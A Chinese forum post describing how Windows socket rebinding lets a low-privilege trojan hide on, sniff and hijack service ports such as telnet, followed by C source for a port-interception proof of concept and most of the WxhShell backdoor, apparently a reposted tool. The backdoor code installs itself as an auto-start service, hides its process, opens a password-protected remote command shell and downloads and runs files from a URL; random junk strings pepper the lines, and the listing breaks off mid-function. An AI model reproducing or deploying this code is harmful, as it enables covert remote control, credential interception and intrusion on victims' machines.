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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E#yCcC!wMY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^4n2 -DvG  
u.ULS3`C/X  
  saddr.sin_family = AF_INET; Y2RxD\!Z  
>=.ch5h3J)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aRFi0h \  
O[i2A (  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `D&#U'wB   
@c.11nfn`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Mq rt-VPh  
umq$4}T '$  
  这意味着什么?意味着可以进行如下的攻击: 17MN8SfQ  
mSVX4XW<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |q1b8A\  
mI{CM: :  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +lY\r +;  
@j)f(Zlu#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g4BwKENM  
7LyV`6{70  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JCCx 5  
.HH,l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f_z2#,g  
]ly)z[is"]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q\{;_?a  
LN,$P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;DT"S{"7  
8ESkG  
  #include =6"hj,[Q  
  #include Gc3PN  
  #include hs -}:^S`  
  #include    Z(Ls#hp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N@%xLJF=N>  
  int main() ]8q%bsl+  
  { S%a}ip&  
  WORD wVersionRequested; 6 ^6uK  
  DWORD ret; y7}~T!UyfF  
  WSADATA wsaData; b{yH4)O  
  BOOL val; @eG#%6">  
  SOCKADDR_IN saddr; MRxo|A{  
  SOCKADDR_IN scaddr; %Pt[3>  
  int err; \a~;8):q=i  
  SOCKET s; Bt`r6v;\  
  SOCKET sc; ;r2b@x:<_  
  int caddsize; s]V{}bY`  
  HANDLE mt; U 8 .0L  
  DWORD tid;   lzQ&)7`  
  wVersionRequested = MAKEWORD( 2, 2 ); @/ovdf{  
  err = WSAStartup( wVersionRequested, &wsaData ); Z)Xq!]~/g  
  if ( err != 0 ) { 9R t(G_'  
  printf("error!WSAStartup failed!\n"); }!J/ 9WKgU  
  return -1; 6=[ PJM  
  } vp9E}ga  
  saddr.sin_family = AF_INET; X  f'  
   Hf E;$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F0o18k_"  
z<C~DH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (HP={MrV  
  saddr.sin_port = htons(23); aV0;WH_3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b^|,9en  
  { "}azC|:5  
  printf("error!socket failed!\n"); ,"HpV  
  return -1; _ jM6ej<  
  } a} Iz  
  val = TRUE; @tU>~y{E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _|2";.1E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XQ?)  
  { ^LAS9K1.  
  printf("error!setsockopt failed!\n"); C J}4V!;|  
  return -1; BM}a?nnoc  
  } &b#NF1Q.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :d/:Ga5v!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s13 d*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e1Z;\U$&.  
61 HqBa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k? _$h<Y  
  { i OA3x 8J  
  ret=GetLastError(); (j\UoKLRt  
  printf("error!bind failed!\n"); /)HEx&SQmZ  
  return -1; @zpHem dB  
  } m:o$|7r  
  listen(s,2); # v/aI*Rl  
  while(1) }N=zn7W  
  { YJ;a{)e  
  caddsize = sizeof(scaddr); Tr+Y@]"  
  //接受连接请求 m_Y}>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,@j& q  
  if(sc!=INVALID_SOCKET) =dJEcC_J  
  { 1 bx^Pt)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3jQ$72_  
  if(mt==NULL) gj(l&F *@  
  { 7B>cmi  
  printf("Thread Creat Failed!\n"); :j!_XMyT:  
  break; kKTED1MW&W  
  } ny;)+v?mN\  
  } Xv;ZAa  
  CloseHandle(mt); [ZpG+VAJ8  
  } 0DjBqh$  
  closesocket(s); (%^TTe  
  WSACleanup(); 5EZr"  
  return 0; T"jDq1C/,E  
  }   v6(l#,  
  DWORD WINAPI ClientThread(LPVOID lpParam) oZ>]8vw  
  { 2T?1X{g  
  SOCKET ss = (SOCKET)lpParam; s#CEhb  
  SOCKET sc; x[<#mt  
  unsigned char buf[4096]; CMB$RLf  
  SOCKADDR_IN saddr; S| ?--vai_  
  long num; GAe_Z( T  
  DWORD val; rAi!'vIE  
  DWORD ret; K>E!W!-PJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,}$x'8v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -cC(d$y  
  saddr.sin_family = AF_INET; [ Sa C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;C@^wI  
  saddr.sin_port = htons(23); krT!AfeV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BwA~*5TFu  
  { g{.@|;d <p  
  printf("error!socket failed!\n"); P bC>v  
  return -1; m(Xr5hw:6  
  } :'Kx?Es   
  val = 100; UmMYe4LQR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qpu2RfP  
  { ;-wPXXR  
  ret = GetLastError(); Jywz27j  
  return -1; o%s}jBo}  
  } CF 0IP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J;9QDrl`  
  { hndRg Co  
  ret = GetLastError(); JHOBg{Wg  
  return -1; ?d'9TOlD  
  } : l[Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rm;"98~zJ?  
  { 3S21DC@Y  
  printf("error!socket connect failed!\n"); fu;B?mIn  
  closesocket(sc); i2c<q0u  
  closesocket(ss); Fi}rv[`XY[  
  return -1; 0p2O8>w^%  
  } \X p"I5  
  while(1) 9E*K44L/V  
  { |1 6v4 R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `^Sq>R!;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tOVm~C,R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BFRSYwPr  
  num = recv(ss,buf,4096,0); -v2q:x'G#  
  if(num>0) ~#Mx&mZ  
  send(sc,buf,num,0); `cRB!w=KHV  
  else if(num==0) )}lV41u  
  break; 7l EwQ  
  num = recv(sc,buf,4096,0); .DsYR/  
  if(num>0) $S("- 3  
  send(ss,buf,num,0); U Bg_b?k  
  else if(num==0) 6XU5T5+P^  
  break; LxDhthZi_  
  } d+)L\ `4  
  closesocket(ss); _ h-X-s Y  
  closesocket(sc); >C66X?0cd  
  return 0 ; eF\C?4  
  } w#b2iE+Bw  
6S&YL  
VG7#6)sQoK  
========================================================== _L.yt5_  
{<n)zLy  
下边附上一个代码,,WXhSHELL p+?WhxG)  
fe/6JV  
========================================================== T`;M!-)2  
^a5>`W  
#include "stdafx.h" hdb4E|'A  
TR20{8"  
#include <stdio.h> h!]A(T\J  
#include <string.h> A4x3TW?  
#include <windows.h> b>EUa> h  
#include <winsock2.h> JR)rp3o-  
#include <winsvc.h> -/?<@*n  
#include <urlmon.h> &o.SmkJI  
{xH@8T$DX  
#pragma comment (lib, "Ws2_32.lib") :Aw VeX@  
#pragma comment (lib, "urlmon.lib") ARo5 Ss{  
tTt~W5lo  
#define MAX_USER   100 // 最大客户端连接数 b<7f:drVC  
#define BUF_SOCK   200 // sock buffer @9a=D<'>  
#define KEY_BUFF   255 // 输入 buffer Hq$ |j,&?  
.IU+4ENSy4  
#define REBOOT     0   // 重启 .EwK>ro4  
#define SHUTDOWN   1   // 关机 hrF4 a$  
89bKnsV  
#define DEF_PORT   5000 // 监听端口 8E{>czF"  
e+TNG &_  
#define REG_LEN     16   // 注册表键长度 IgL8u  
#define SVC_LEN     80   // NT服务名长度 Qt 2hb  
<Z;BB)I&C`  
// 从dll定义API AtI,& S#{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g~b'}^J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @dNbL}qQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Vb{QOgc;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J;dFmZOk  
QZol( 2~Y  
// wxhshell配置信息 [G*mQ@G9  
struct WSCFG { mr? ii  
  int ws_port;         // 监听端口 \\JXY*DA:+  
  char ws_passstr[REG_LEN]; // 口令 bv"S(  
  int ws_autoins;       // 安装标记, 1=yes 0=no *VB*/^6A  
  char ws_regname[REG_LEN]; // 注册表键名 vCM'nkXY  
  char ws_svcname[REG_LEN]; // 服务名 h>?OWI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q-#fuD^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 It[~0?+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +8M{y D9#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >B0S5:S$W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mf#oa~_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -5K/ cK  
"5Mo%cUp  
}; ||f 4f3R'  
566EMy|  
// default Wxhshell configuration =[kv@ p  
struct WSCFG wscfg={DEF_PORT, F<[8!^l(z  
    "xuhuanlingzhe", jk@]d5  
    1, tr Ls4o,  
    "Wxhshell", vq}V0- <  
    "Wxhshell", ]CjODa  
            "WxhShell Service", H@zpw1fH+  
    "Wrsky Windows CmdShell Service", @p;4g_F  
    "Please Input Your Password: ", ?jbam! A  
  1, Iu8=[F>  
  "http://www.wrsky.com/wxhshell.exe", C;` fOCz^  
  "Wxhshell.exe" s6I]H  
    }; Z5Cv$bUc  
{<@~;iq  
// 消息定义模块 pyKMi /)bL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4.8,&{w<m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -nW-I\d%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \MU4"sXw  
char *msg_ws_ext="\n\rExit."; u8*0r{kOH  
char *msg_ws_end="\n\rQuit."; =LRUasF  
char *msg_ws_boot="\n\rReboot..."; 7j+.H/2  
char *msg_ws_poff="\n\rShutdown..."; ee0J;pP2#  
char *msg_ws_down="\n\rSave to "; kQ +   
=GF+hM/~  
char *msg_ws_err="\n\rErr!"; -?uwlpm#  
char *msg_ws_ok="\n\rOK!"; 99 [ "I:  
z,)Fvs4U.  
char ExeFile[MAX_PATH]; k(MQ:9'|  
int nUser = 0; NoMC* ",b>  
HANDLE handles[MAX_USER]; #r1x0s40D  
int OsIsNt;  m ]\L1&  
f*Kipgp  
SERVICE_STATUS       serviceStatus; ]n{2cPx5d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m2;%|QE(  
@:Ns`+ W*  
// 函数声明 HBt?cA '  
int Install(void); _Qv4;a  
int Uninstall(void); 4AGc2e'u  
int DownloadFile(char *sURL, SOCKET wsh); yH Cc@`1.  
int Boot(int flag); ! M bRI  
void HideProc(void); }Eav@3h6  
int GetOsVer(void); T/H*Bo *=5  
int Wxhshell(SOCKET wsl); t[<=QK  
void TalkWithClient(void *cs); >@t]M`#&h  
int CmdShell(SOCKET sock); vOqT Ld  
int StartFromService(void); 0xC!d-VIJ  
int StartWxhshell(LPSTR lpCmdLine); Hw Db &pP"  
uuq?0t2Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qwb@3{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m+o>`1>a  
^#G>P0mG%  
// 数据结构和表定义 k2xjcrg  
SERVICE_TABLE_ENTRY DispatchTable[] = ar6Z?v$  
{ 0Vg8o @  
{wscfg.ws_svcname, NTServiceMain}, zR e0z2  
{NULL, NULL} }%VHBkuc  
}; |_O1V{Q=  
S`NH6?/uH  
// 自我安装 *6uiOtH  
int Install(void) zP5HTEz  
{ +'[iyHBJ  
  char svExeFile[MAX_PATH]; )&*&ZL0  
  HKEY key; &R 0BuFL8  
  strcpy(svExeFile,ExeFile); }+SnY8A=KZ  
Ngg (<ZN  
// 如果是win9x系统,修改注册表设为自启动 z8gp<5=  
if(!OsIsNt) { g >X!Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3iY`kf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M,l Ib9  
  RegCloseKey(key); `/0FXb 8h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { akaQ6DIdG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I+}h+[W  
  RegCloseKey(key); kg_TXB  
  return 0; zhFGMF1  
    } xNT[((  
  } PyIIdTm  
} eQMY3/#  
else { P}cGWfj  
zV%U4P)Dao  
// 如果是NT以上系统,安装为系统服务 lx%<oC+M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,KZ_#9[>  
if (schSCManager!=0) *r[PZ{D+  
{ KpSHf9!&[  
  SC_HANDLE schService = CreateService Qp{{OjD  
  ( ujHqw Rh  
  schSCManager, =T9QmEBm  
  wscfg.ws_svcname, d'PjO-"g  
  wscfg.ws_svcdisp, uZi]$/ic  
  SERVICE_ALL_ACCESS, FLi)EgZXt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  E{h   
  SERVICE_AUTO_START, %|4Nmf$:Og  
  SERVICE_ERROR_NORMAL, !5pnl0DK*  
  svExeFile, ) _"`{2  
  NULL, NCBS=L:  
  NULL, z0a=A:+/  
  NULL, YMC*<wXN  
  NULL, Fj|C+;Q.  
  NULL W,}C*8{+  
  ); uT ngDk  
  if (schService!=0) tZwZZ0]Z  
  { |R DPx6!V  
  CloseServiceHandle(schService); &Zd! |u  
  CloseServiceHandle(schSCManager); 0zetOlFbO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m%l\EE  
  strcat(svExeFile,wscfg.ws_svcname); :4/RB%)"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .X TBy/(0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y@F@k(lOo  
  RegCloseKey(key); Wfz&:J#  
  return 0; j$siCsF  
    } BA53   
  } le`fRq8f&  
  CloseServiceHandle(schSCManager); Js ~_8  
} =rGjOb3+  
} *ax$R6a#X  
DhYQ>Gv8U  
return 1; V!(Ty%7  
} *CMe:a  
&V:iy  
// 自我卸载 wHvX|GwMv  
int Uninstall(void) EE=!Y NP]  
{ 0ERA(=w5  
  HKEY key; Hcq?7_)  
1!~=8FTv  
if(!OsIsNt) { = a$7OV.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [}}?a   
  RegDeleteValue(key,wscfg.ws_regname); mbK$_HvU  
  RegCloseKey(key); ' cR||VX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tI~.3+F  
  RegDeleteValue(key,wscfg.ws_regname); N^jQ\|A<  
  RegCloseKey(key); Tq,Kel  
  return 0; Vf:/Kokq  
  } [< Bk% B5  
} fucG 9B  
} EIPNR:6t  
else { aSkH<5i`v  
W_8N?coM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SvLI%>B=9  
if (schSCManager!=0) ZxF RE#y~2  
{ ^}fc]ovV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -|YG**i/  
  if (schService!=0) dj>zy  
  { F9IrbLS9c  
  if(DeleteService(schService)!=0) { xkV(E!O  
  CloseServiceHandle(schService); =bgzl=A`  
  CloseServiceHandle(schSCManager); &c>%E%!"  
  return 0; G<:_O-cPSv  
  } )_BQ@5NK  
  CloseServiceHandle(schService); BJC$KmGk  
  } jrk48z  
  CloseServiceHandle(schSCManager); 9K,PT.c  
} /enlkZx=8  
} cuzU*QW"g  
= Lt)15  
return 1; `Y]t*` e|  
} 89hV{^  
?"04u*u3  
// 从指定url下载文件 i[L5,%5<H  
int DownloadFile(char *sURL, SOCKET wsh) ]t0]fb[J  
{ y``[CBj  
  HRESULT hr; rMr:\M]t  
char seps[]= "/"; fSc)PqLP  
char *token; o_ng{SL  
char *file; >V1vw7Pa  
char myURL[MAX_PATH]; 6.5E d-  
char myFILE[MAX_PATH]; u|(;SY  
X6 E^5m  
strcpy(myURL,sURL); # `L?24%  
  token=strtok(myURL,seps); t^Z-0jH  
  while(token!=NULL) WAq! _xE  
  { 1?I_fA}  
    file=token; Uzh#z eZ`<  
  token=strtok(NULL,seps); YOOcHo.F  
  } ;Qn)~b~  
)O+Vft&#  
GetCurrentDirectory(MAX_PATH,myFILE); Ob!NC&  
strcat(myFILE, "\\"); c o 8bnH  
strcat(myFILE, file); Z-%zR'-?*  
  send(wsh,myFILE,strlen(myFILE),0); ~dXiyU,y2  
send(wsh,"...",3,0); KpX1GrIn3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g79zzi-  
  if(hr==S_OK) m3#rU%Wj  
return 0; UpTVLx^c  
else ^iA_<@[`X[  
return 1; +L0Jje>Az  
Q6PaT@gs  
} E4N/or  
iWGn4p'  
// 系统电源模块 x`:c0y9uG  
int Boot(int flag) "f~*4g  
{ ~n=oPm$pR  
  HANDLE hToken; -kk0zg &|i  
  TOKEN_PRIVILEGES tkp; 3-/F]}0y6  
t 7-6A  
  if(OsIsNt) { *Z8qd{.$q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $sxRRe m{?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); utu V'5GD  
    tkp.PrivilegeCount = 1; YMn*i<m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WhT5NE9t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1SF8D`3  
if(flag==REBOOT) { +R8G*2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {h*)|J  
  return 0; )TfX}  
} &>f]  
else { D wfw|h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b($9gre>mI  
  return 0; H-,p.$3}  
} M]Hf>7p  
  } dI+Y1Vq  
  else { 8kLHQ0pmu  
if(flag==REBOOT) { ]T<tkvcI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <KX fh  
  return 0; T' =6_?7K4  
} kBU`Q{.  
else { g43(N!@g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q h{P>}  
  return 0; od)ssL&E~  
} + )n}n5  
} x7xMSy  
Te%V+l  
return 1; a9u2Wlz  
} @#=yC.s  
<0!<T+JQ  
// win9x进程隐藏模块 Pcjrv:0$  
void HideProc(void) .ah[!O  
{ 9m.MGJbQ_f  
_+j#.o>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  p9 G{Q  
  if ( hKernel != NULL ) m3~_uc/+D  
  { ?bPW*A82{q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hSz_e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *xjP^y":  
    FreeLibrary(hKernel); lc3N i<3v  
  } @\r2%M-  
H$V`,=H  
return; d}y")q|F  
} vb| d  
I7W`\d)  
// 获取操作系统版本 N!fjN >cw  
int GetOsVer(void) LzxO=+=9!q  
{ ~Ajst!Y7=  
  OSVERSIONINFO winfo; t3AmXx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FTr'I82m(  
  GetVersionEx(&winfo); ==UYjbuU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  =W&m{F96  
  return 1; CpB,L  
  else xYZ,.  
  return 0; Yw yMC d  
} c39j|/!;Y  
\H9:%Tlp~4  
// 客户端句柄模块 MsZx 0]  
int Wxhshell(SOCKET wsl) ;%Px~g  
{ G3 |x%/Fbp  
  SOCKET wsh; lMH~J8U3  
  struct sockaddr_in client; sH>`eqY  
  DWORD myID; h$}PQ   
G[*z,2Kb>  
  while(nUser<MAX_USER) 3IJ0 P.x!o  
{ vvG"rU  
  int nSize=sizeof(client); 8#\|Y~P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #.!#"8{0_  
  if(wsh==INVALID_SOCKET) return 1; IM ncl=1  
4AKr.a0q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); as'yYn8  
if(handles[nUser]==0) 6O,:I  
  closesocket(wsh); [?hvx}  
else 9^9-\DG  
  nUser++; ?68~g<d,  
  } ^|=P9'4Th  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;aj;(Z.p)  
^^zj4 }On?  
  return 0; {6WG  
} //;(KmU9  
$2,tT;50g  
// 关闭 socket }O>4XFj  
void CloseIt(SOCKET wsh) Mk0x#-F  
{ }*U|^$FEU  
closesocket(wsh); ;c>"gW8  
nUser--; -EE'xh-zD  
ExitThread(0); |d&C<O;f  
} [u$|/  
wP*3Hx;S  
// 客户端请求句柄 "\O7_od-  
void TalkWithClient(void *cs) IC5QH<.$C  
{ -KV,l  
$,J0) ~  
  SOCKET wsh=(SOCKET)cs; 4I$Y"|_e  
  char pwd[SVC_LEN]; g1|Py t{  
  char cmd[KEY_BUFF]; j7MUA#6$  
char chr[1]; dq@ * 8ui  
int i,j; ,(a~vqNQW3  
4].o:d;`/  
  while (nUser < MAX_USER) { >{q+MWK  
Il9xNVos#  
if(wscfg.ws_passstr) { AT+ l%%   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iLIb-d?!a&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j6EF0/_|e  
  //ZeroMemory(pwd,KEY_BUFF); K!Fem6R  
      i=0; -3i(N.)<;  
  while(i<SVC_LEN) { Y.) QNTh  
Gp \-AwE  
  // 设置超时 W^h,O+vk  
  fd_set FdRead; i+qg*o$  
  struct timeval TimeOut; auc:|?H~1n  
  FD_ZERO(&FdRead); Im\ ~x~{  
  FD_SET(wsh,&FdRead); #h^nvRmON  
  TimeOut.tv_sec=8; f|M^UHt8*  
  TimeOut.tv_usec=0; 87[ ,.W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wz=& 0>Mm_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |" WL   
Jw@X5-(Cp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6WQN !H8+^  
  pwd=chr[0]; E b:iym0  
  if(chr[0]==0xd || chr[0]==0xa) { yna!L@ *@,  
  pwd=0; pP1DR'  
  break; krFp q;  
  } #7Q9^rG  
  i++; b9vud r  
    } Pe,ky>ow  
\fEG5/s}T  
  // 如果是非法用户,关闭 socket Zs79,*o+0M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nvf5a-C+q  
} oNe:<YT  
5I2 h(Td  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )K@D4sl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Z`4Kdh .  
~`&4?c3p  
while(1) { X!LiekU!D  
APF`b  
  ZeroMemory(cmd,KEY_BUFF); y>0 @.  
o.NU"$\?  
      // 自动支持客户端 telnet标准   y\;oZ]J  
  j=0; C(v'7H{4cW  
  while(j<KEY_BUFF) { -s2)!Iko&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bj2iYk_cLa  
  cmd[j]=chr[0]; }wn|2K'  
  if(chr[0]==0xa || chr[0]==0xd) { BM:p)%Pv#P  
  cmd[j]=0; Ncbe{}<md  
  break; AZhI~QWo  
  } ]}].A q  
  j++; \mGb|aF8  
    } q`{@@[/ (y  
SaF0JPm4z  
  // 下载文件 hfLe<,  
  if(strstr(cmd,"http://")) { AJLzLbV+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @HMH>;haE  
  if(DownloadFile(cmd,wsh)) !p+rU?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fgtwV ji  
  else vb0Ca+}}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <:/aiX8  
  } }0E@eL  
  else { 85io %>&0  
4`#%<G  
    switch(cmd[0]) { B&X)bGx8  
  3=ME$%f  
  // 帮助 jWxa [ >  
  case '?': { ~l'[P=R+8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @(a~ p  
    break;  8q9 ^  
  } W3\+51P  
  // 安装 |n,O!29  
  case 'i': { :%mls Nw  
    if(Install()) b}7g>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l>`S<rGe  
    else sOWP0x  Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); otjT ?R2g'  
    break; jzDPn<WQ  
    } !?i9fYu  
  // 卸载 !$iwU3~<  
  case 'r': { md{1Jn"  
    if(Uninstall()) E"BW-<_!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kH0kf-4\  
    else L)|hjpQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u8A,f}D 3  
    break; f~=e  
    } *yI( (G/  
  // 显示 wxhshell 所在路径 ZyC[w 7$I2  
  case 'p': { , 82?kky  
    char svExeFile[MAX_PATH]; js)E:+{A,  
    strcpy(svExeFile,"\n\r"); ri"=)]  
      strcat(svExeFile,ExeFile); :Oj!J&A  
        send(wsh,svExeFile,strlen(svExeFile),0); !&KE">3Qu  
    break; }FV_jJ  
    } yyVJb3n5:!  
  // 重启 bsc b  
  case 'b': { u?g;fh6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wjID*s[  
    if(Boot(REBOOT)) >> -{AR0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /6N!$*8  
    else { xWQQX  
    closesocket(wsh); ) { "}bMf  
    ExitThread(0); S|RUc}(  
    } Hn)^C{RN*{  
    break; g ?% ]()E  
    } 5iItgVTW  
  // 关机 G @L `[Wu  
